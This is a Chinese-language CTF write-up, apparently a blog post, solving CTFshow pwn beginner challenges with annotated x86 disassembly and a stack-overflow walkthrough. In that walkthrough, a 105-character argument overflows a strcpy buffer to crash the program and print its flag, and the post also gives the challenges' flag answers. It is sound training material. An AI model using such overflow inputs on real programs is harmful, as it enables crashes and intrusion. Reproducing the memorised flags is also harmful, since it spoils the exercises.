Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

前置基础

Pwn 5

image-20251004201908767

先查看文件,发现是elf文件,然后给它加上运行权限并运行它。
(注意,在Linux中这种外来文件如果不专门添加运行权限我们是无法运行它的。)

1
2
3
4
5
6
7
└─$ file Welcome_to_CTFshow
Welcome_to_CTFshow: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped

└─$ chmod +x Welcome_to_CTFshow

└─$ ./Welcome_to_CTFshow
Welcome_to_CTFshow_PWN

所以flag为:

1
ctfshow{Welcome_to_CTFshow_PWN}

Pwn 6

image-20251004202323849

我们先来仔细地看一下这个程序(利用IDA的反编译):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public start                ; 声明入口符号 start(程序入口点)
start proc near

mov eax, 0Bh ; EAX = 0Bh (十进制 11)
add eax, 1BF48h ; EAX = EAX + 0x1BF48 (即 EAX = 0x1BF48 + 11)
sub eax, 1 ; EAX = EAX - 1

mov ebx, 36Dh ; EBX = 0x36D (十进制 877)
mov edx, ebx ; EDX = EBX = 0x36D

mov ecx, dword ptr aWelcomeToCtfsh ; ECX = 内存中存放的字符串地址前 4 字节
; 这其实会把字符串 “Welcome_to_CTFshow_PWN” 的前四个字节当作整数加载

mov esi, offset aWelcomeToCtfsh ; ESI = "Welcome_to_CTFshow_PWN" 的地址

mov eax, [esi] ; EAX = 前 4 个字节 (即 "Welc")
mov ecx, offset aWelcomeToCtfsh ; 再次将 ECX 置为字符串地址
add ecx, 4 ; ECX = ECX + 4,跳过前 4 字节 ("Welc")
mov eax, [ecx] ; EAX = 下一个 4 字节 ("ome_")

mov ecx, offset aWelcomeToCtfsh ; 再次装入字符串地址
mov edx, 2
mov eax, [ecx+edx*2] ; EAX = [aWelcome_to_CTFshow_PWN + 4],效果类似上一步

mov ecx, offset aWelcomeToCtfsh
mov edx, 1
add ecx, 8
mov eax, [ecx+edx*2-6]
; 这些多次 mov 的操作都是冗余的,可能是故意混淆或干扰反汇编阅读
; 实际对最终输出没有影响

; --- 以下是真正有意义的代码部分 ---

mov eax, 4 ; 系统调用号 4:sys_write
mov ebx, 1 ; 文件描述符 1:stdout
mov ecx, offset aWelcomeToCtfsh ; ECX = 要输出的字符串地址
mov edx, 16h ; EDX = 要写的长度(0x16 = 22 字节)
int 80h ; 调用内核:write(1, "Welcome_to_CTFshow_PWN", 22)

mov eax, 1 ; 系统调用号 1:sys_exit
xor ebx, ebx ; EBX = 0(退出状态码 0)
int 80h ; 调用内核:exit(0)

start endp

_text ends

定义:

立即寻址(Immediate Addressing)是指:指令中的操作数本身就是常量(立即数),该常量直接编码在指令内,CPU 取出指令即可得到该值,无需再访问寄存器或内存取数。


这段代码中立即寻址的部分是:

1
2
3
4
5
mov     eax, 0Bh
add eax, 1BF48h
sub eax, 1

mov ebx, 36Dh ; 这行跟eax没有关系,所以可以忽略。

0Bh1BF48hh都是十六进制的后缀,所以这段内容相当于:

1
2
3
4
5
eax = 0x0000000B

eax += 0x0001BF48 # =0x0001BF53

eax -= 1 # =0x0001BF52=114514

所以flag为:

1
ctfshow{114514}

栈溢出

Pwn35

image-20251004214331545

检查一下文件的保护措施:

1
2
3
4
5
6
7
8
└─$ checksec pwn
[*] '/home/archer/ctf-kali/pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ls
pwnme
$ ./pwnme
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : See what the program does!
* *************************************
Where is flag?

image-20251004214719026

看一下这个ctfshow函数:

1
2
3
4
5
6
char *__cdecl ctfshow(char *src)
{
char dest[104]; // [esp+Ch] [ebp-6Ch] BYREF

return strcpy(dest, src);
}

不难发现常见的漏洞函数strcpy,但该怎么利用它呢?

注意到这一行:

1
signal(11, (__sighandler_t)sigsegv_handler);
1
2
3
4
5
6
void __noreturn sigsegv_handler()
{
fprintf(stderr, "%s\n", flag);
fflush(stderr);
exit(1);
}

signal(11, (__sighandler_t)sigsegv_handler);

  • 11 是 POSIX 信号号 SIGSEGV(段错误 / segmentation fault)。
  • signal(signum, handler) 用来注册信号处理函数:当进程收到 signum 信号时,内核会中断当前执行流并跳到 handler
  • 这里把 sigsegv_handler 注册为 SIGSEGV 的处理器 —— 当程序发生段错误(例如非法内存访问或访问保护页)时不会按默认行为终止并打印 core,而是去执行这个自定义处理函数。
  • (__sighandler_t) 是一个类型转换,把 sigsegv_handler 强制转为 signal 期待的函数指针类型,以避免编译器类型不匹配的警告(通常 signal 要求特定签名 void (*)(int),而这里 handler 定义不带参数,所以做了 cast)。

fprintf(stderr, "%s\n", flag);

  • 把全局或外部变量 flag 当作字符串,写到标准错误流 stderrfprintf 会格式化并写入缓冲区,最终通过底层 write 输出到终端或重定向的目标。

fflush(stderr);

  • 强制把 stderr 的缓冲区刷出到文件描述符,确保输出立刻可见(尤其是当 stderr 被行缓冲或全缓冲时)。
  • 由于 stderr 常常是行缓冲/无缓冲,fflush 可提高输出可靠性,确保在随后退出前内容已写出。

简单总结一下:

strcpy(dest, src) 写出栈边界并产生段错误时,内核发送 SIGSEGV,程序控制流会跳到 sigsegv_handlerhandler 里会将flag写到stderr,然后退出程序。

也就是说我们只需要想办法利用Buffer Overflow触发segmentation fault,便可以得到flag。

因为给dest分配的是104个字节,所以我们直接输入105个字节即可。

1
2
>>> print("A"*105)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ./pwnme AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : See what the program does!
* *************************************
Where is flag?

ctfshow{5f912424-3426-45dd-9966-84c4247d058b}